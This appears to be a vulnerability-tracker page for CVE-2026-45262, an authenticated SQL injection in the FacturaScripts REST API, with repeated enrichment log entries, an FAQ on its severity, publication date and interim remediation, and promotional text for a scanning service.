  50. 2026-08-20 09:17 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  51. 2026-08-20 04:50 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  52. 2026-08-20 00:30 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  53. 2026-08-19 14:04 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  54. 2026-08-19 09:44 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  55. 2026-08-19 05:24 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  56. 2026-08-19 00:41 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  57. 2026-08-18 20:04 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  58. 2026-08-18 11:24 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  59. 2026-08-18 06:58 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  60. 2026-08-18 02:38 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  61. 2026-08-17 21:28 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  62. 2026-08-17 13:19 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  63. 2026-08-17 08:59 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  64. 2026-08-17 04:40 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  65. 2026-08-17 00:20 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  66. 2026-08-16 20:00 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  67. 2026-08-16 15:40 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  68. 2026-08-16 11:20 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  69. 2026-08-16 07:00 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  70. 2026-08-16 02:40 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  71. 2026-08-15 22:21 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  72. 2026-08-15 18:01 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  73. 2026-08-15 13:41 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  74. 2026-08-15 09:21 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  75. 2026-08-15 05:01 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9

Frequently asked(4)

What is CVE-2026-45262?
CVE-2026-45262 is a critical-severity vulnerability; its CVE record was published on July 14, 2026. FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in Where::sqlColumn Summary Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A scoped ApiKey with fullaccess=0 and an ApiAccess row granting…
When was the CVE record for CVE-2026-45262 published?
The CVE record for CVE-2026-45262 was published on July 14, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 14, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-45262?
CVE-2026-45262 has a CVSS base score of 9.9 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-45262?
No fix for CVE-2026-45262 is confirmed yet. Until one is published, restrict network exposure of the affected system or apply the vendor's mitigation — for example, keep it off the internet or limit it to trusted networks — and watch the vendor's advisory for the fix. The vendor advisories EchelonGraph has for CVE-2026-45262 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45262

Explore →

Is Your Infrastructure Affected by CVE-2026-45262?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.